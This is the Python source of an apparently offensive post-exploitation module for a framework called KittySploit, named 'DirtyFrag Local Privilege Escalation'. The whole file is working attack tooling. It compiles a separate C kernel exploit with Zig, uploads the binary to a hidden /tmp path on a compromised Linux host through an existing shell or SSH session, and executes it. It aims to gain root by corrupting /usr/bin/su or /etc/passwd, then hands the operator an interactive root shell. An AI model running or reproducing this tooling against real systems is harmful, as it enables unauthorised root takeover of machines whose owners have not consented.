DirtyFrag Local Privilege Escalation

from kittysploit import *
from core.framework.post import Post
from core.lib.compiler.zig_compiler import ZigCompiler
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin
import os
import shlex
import socket
import tempfile
import time
from pathlib import Path

class Module(Post, System, LinuxSessionMixin):
    __info__ = {
        "name": "DirtyFrag Local Privilege Escalation",
        "description": "Exploits the 'DirtyFrag' (AF_ALG/rxrpc) page cache corruption vulnerability "
                       "to achieve local privilege escalation. This module compiles a C exploit, "
                       "uploads it to the target, and executes it to gain root via /usr/bin/su "
                       "or /etc/passwd corruption.",
        "author": ["Onurcan Genç", "KittySploit Team"],
        "platform": [Platform.LINUX],
        "arch": [Arch.X64],
        "session_type": [SessionType.SHELL, SessionType.SSH],
        "references": [
            "https://www.kernel.org/doc/html/latest/userspace-api/netlink/xfrm.html",
            "https://www.kernel.org/doc/html/latest/crypto/userspace-if.html"
        ],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': ['rce', 'shell', 'file_read'],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    remote_path = OptString("/tmp/.df_lpe", "Remote path to upload the exploit", required=True)
    force_esp = OptBool(False, "Force the ESP (AF_ALG) exploitation path", required=False)
    force_rxrpc = OptBool(False, "Force the rxrpc exploitation path", required=False)

    @staticmethod
    def _as_bool(value) -> bool:
        if isinstance(value, bool):
            return value
        return str(value).strip().lower() in ("1", "true", "yes", "y", "on")

    def _exploit_command(self) -> str:
        parts = [shlex.quote(str(self.remote_path).strip())]
        if self._as_bool(self.force_esp):
            parts.append("--force-esp")
        if self._as_bool(self.force_rxrpc):
            parts.append("--force-rxrpc")
        return " ".join(parts)

    def _session_id(self) -> str:
        return str(self.session_id.value if hasattr(self.session_id, "value") else self.session_id).strip()

    def _session_type(self) -> str:
        sid = self._session_id()
        if not sid or not self.framework or not getattr(self.framework, "session_manager", None):
            return ""
        session = self.framework.session_manager.get_session(sid)
        return (getattr(session, "session_type", "") or "").strip().lower() if session else ""

    @staticmethod
    def _shell_quote(value) -> str:
        return "'" + str(value).replace("'", "'\"'\"'") + "'"

    def _upload_binary(self, binary_data: bytes) -> bool:
        remote_path = str(self.remote_path).strip()
        if not self.linux_upload_bytes(binary_data, remote_path, executable=True, pty=False):
            return False
        print_success(f"Binary uploaded and marked executable: {remote_path}")
        return True

    def _get_ssh_shell(self):
        if not self.framework or not getattr(self.framework, "shell_manager", None):
            print_error("Shell manager not available.")
            return None

        sid = self._session_id()
        if not sid:
            print_error("Session ID is missing.")
            return None

        shell = self.framework.shell_manager.get_shell(sid)
        if shell and getattr(shell, "shell_name", "") == "ssh":
            return shell

        shell = self.framework.shell_manager.create_shell(sid, "ssh", session_type="ssh", framework=self.framework)
        if not shell or getattr(shell, "shell_name", "") != "ssh":
            print_error("This module needs an SSH session with an interactive PTY.")
            return None
        return shell

    def _get_classic_shell(self):
        if not self.framework or not getattr(self.framework, "shell_manager", None):
            print_error("Shell manager not available.")
            return None

        sid = self._session_id()
        if not sid:
            print_error("Session ID is missing.")
            return None

        shell = self.framework.shell_manager.get_shell(sid)
        if shell and getattr(shell, "shell_name", "") == "classic":
            return shell

        shell = self.framework.shell_manager.create_shell(sid, "classic", session_type="standard", framework=self.framework)
        if not shell or getattr(shell, "shell_name", "") != "classic":
            print_error("This classic session does not expose a raw interactive socket.")
            return None
        return shell

    def _run_via_ssh_pty(self, trigger: str) -> bool:
        shell = self._get_ssh_shell()
        if not shell:
            return False
        if not getattr(shell, "is_connected", False) or not getattr(shell, "connection", None):
            try:
                shell._initialize_ssh_connection()
            except Exception:
                pass
        if not getattr(shell, "_ensure_interactive_channel", lambda: False)():
            return False

        print_success("Launching DirtyFrag inside a persistent SSH PTY.")
        print_info("If it lands, this prompt becomes root. Use `background` to return without closing the PTY.")

        banner = shell._drain_interactive_output(max_wait=0.8, idle_grace=0.2)
        if banner:
            print(banner, end="", flush=True)

        shell.channel.send(trigger + "\n")
        return self._interactive_pty_loop(shell)

    def _run_via_classic_socket(self, trigger: str) -> bool:
        shell = self._get_classic_shell()
        if not shell:
            return False
        if not getattr(shell, "connection", None):
            try:
                shell._initialize_connection()
            except Exception:
                pass
        if not getattr(shell, "connection", None):
            print_error("Classic shell has no live raw socket connection.")
            return False

        print_warning("Launching DirtyFrag on a classic shell socket (best effort, no PTY).")
        print_info("If it lands, commands are executed as root on this same session. Use `background` to return.")

        self._drain_classic_socket(shell, max_wait=0.4, idle_grace=0.1)
        shell.connection.sendall((trigger + "\n").encode("utf-8", errors="ignore"))
        return self._interactive_classic_loop(shell)

    @staticmethod
    def _drain_classic_socket(shell, max_wait: float = 0.4, idle_grace: float = 0.12) -> str:
        conn = getattr(shell, "connection", None)
        if not conn:
            return ""

        chunks = []
        deadline = time.monotonic() + max(0.05, float(max_wait))
        last_data = 0.0
        while time.monotonic() < deadline:
            try:
                conn.settimeout(0.05)
                data = conn.recv(65535)
                if not data:
                    break
                chunks.append(data.decode("utf-8", errors="ignore"))
                last_data = time.monotonic()
            except socket.timeout:
                if chunks and last_data and (time.monotonic() - last_data) >= max(0.05, float(idle_grace)):
                    break
            except Exception:
                break
        return "".join(chunks)

    def _interactive_pty_loop(self, shell) -> bool:
        while True:
            try:
                output = shell._drain_interactive_output(max_wait=0.4, idle_grace=0.12)
                if output:
                    print(output, end="", flush=True)

                line = input("")
                command = (line or "").strip()
                if not command:
                    continue

                if command.lower() in ("background", "back"):
                    print_info("Returning to KittySploit; the SSH PTY channel is left open.")
                    return True

                if command.lower() == "exit":
                    shell.channel.send("exit\n")
                    time.sleep(0.2)
                    output = shell._drain_interactive_output(max_wait=0.8, idle_grace=0.2)
                    if output:
                        print(output, end="", flush=True)
                    try:
                        shell.channel.close()
                    except Exception:
                        pass
                    shell.channel = None
                    return True

                shell.add_to_history(command)
                shell.channel.send(command + "\n")

            except KeyboardInterrupt:
                try:
                    shell.channel.send("\x03")
                except Exception:
                    pass
                print_info("^C")
            except EOFError:
                print_info("Returning to KittySploit; the SSH PTY channel is left open.")
                return True
            except Exception as exc:
                print_error(f"Interactive PTY error: {exc}")
                return False

    def _interactive_classic_loop(self, shell) -> bool:
        while True:
            try:
                output = self._drain_classic_socket(shell, max_wait=0.4, idle_grace=0.12)
                if output:
                    print(output, end="", flush=True)

                line = input("")
                command = (line or "").strip()
                if not command:
                    continue

                if command.lower() in ("background", "back"):
                    print_info("Returning to KittySploit; the classic socket is left open.")
                    return True

                if command.lower() == "exit":
                    shell.connection.sendall(b"exit\n")
                    time.sleep(0.2)
                    output = self._drain_classic_socket(shell, max_wait=0.8, idle_grace=0.2)
                    if output:
                        print(output, end="", flush=True)
                    return True

                shell.add_to_history(command)
                shell.connection.sendall((command + "\n").encode("utf-8", errors="ignore"))

            except KeyboardInterrupt:
                try:
                    shell.connection.sendall(b"\x03")
                except Exception:
                    pass
                print_info("^C")
            except EOFError:
                print_info("Returning to KittySploit; the classic socket is left open.")
                return True
            except Exception as exc:
                print_error(f"Interactive classic socket error: {exc}")
                return False

    def run(self):
        """Execute the post-exploitation exploit"""
        if not self.linux_require_linux():
            return False

        print_status(f"Starting DirtyFrag LPE for session {self.session_id}")

        # 1. Prepare C source
        c_file_path = Path(__file__).parent / "dirty_frag_lpe.c"
        if not c_file_path.exists():
            print_error(f"C source file not found at {c_file_path}")
            return False

        with open(c_file_path, "r") as f:
            c_source = f.read()

        # 2. Compile C source using Zig
        print_status("Compiling DirtyFrag exploit for x64...")
        
        compiler = ZigCompiler()
        if not compiler.is_available():
            print_error("Zig compiler not found. Please install Zig.")
            return False

        with tempfile.TemporaryDirectory() as tmp_dir:
            local_bin_path = os.path.join(tmp_dir, "dirty_frag_lpe")
            
            # Zig can compile C files directly. We'll write the source to a temporary .c file.
            temp_c_file = os.path.join(tmp_dir, "main.c")
            with open(temp_c_file, "w") as f:
                f.write(c_source)
            
            # Compile the C source directly with the framework Zig binary.
            zig_bin = compiler.zig_path
            target_triple = "x86_64-linux-musl"
            env = os.environ.copy()
            env.setdefault("ZIG_LOCAL_CACHE_DIR", os.path.join(tmp_dir, "zig-cache"))
            env.setdefault("ZIG_GLOBAL_CACHE_DIR", os.path.join(tmp_dir, "zig-global-cache"))
            
            cmd = [
                zig_bin, "cc", "-target", target_triple,
                temp_c_file, "-o", local_bin_path,
                "-static", "-O3", "-s"
            ]
            
            import subprocess
            print_info("Running compilation command")
            try:
                result = subprocess.run(cmd, env=env, capture_output=True, text=True, timeout=120)
                if result.returncode != 0:
                    print_error(f"Compilation failed: {result.stderr}")
                    return False
            except Exception as e:
                print_error(f"Compilation error: {e}")
                return False

            # 3. Upload binary
            print_status(f"Uploading binary to {self.remote_path}...")
            with open(local_bin_path, "rb") as f:
                binary_data = f.read()

            if not self._upload_binary(binary_data):
                return False

            # 5. Execute exploit in the same interactive channel that should become root.
            trigger = self._exploit_command()
            if self._session_type() == "ssh":
                return self._run_via_ssh_pty(trigger)
            return self._run_via_classic_socket(trigger)

    def check(self):
        """Check if target is likely vulnerable"""
        arch = self.linux_execute("uname -m").strip()
        if arch not in ("x86_64", "amd64"):
            print_error(f"Architecture {arch} is not supported by this exploit.")
            return False
            
        print_status("Target architecture is supported.")
        return True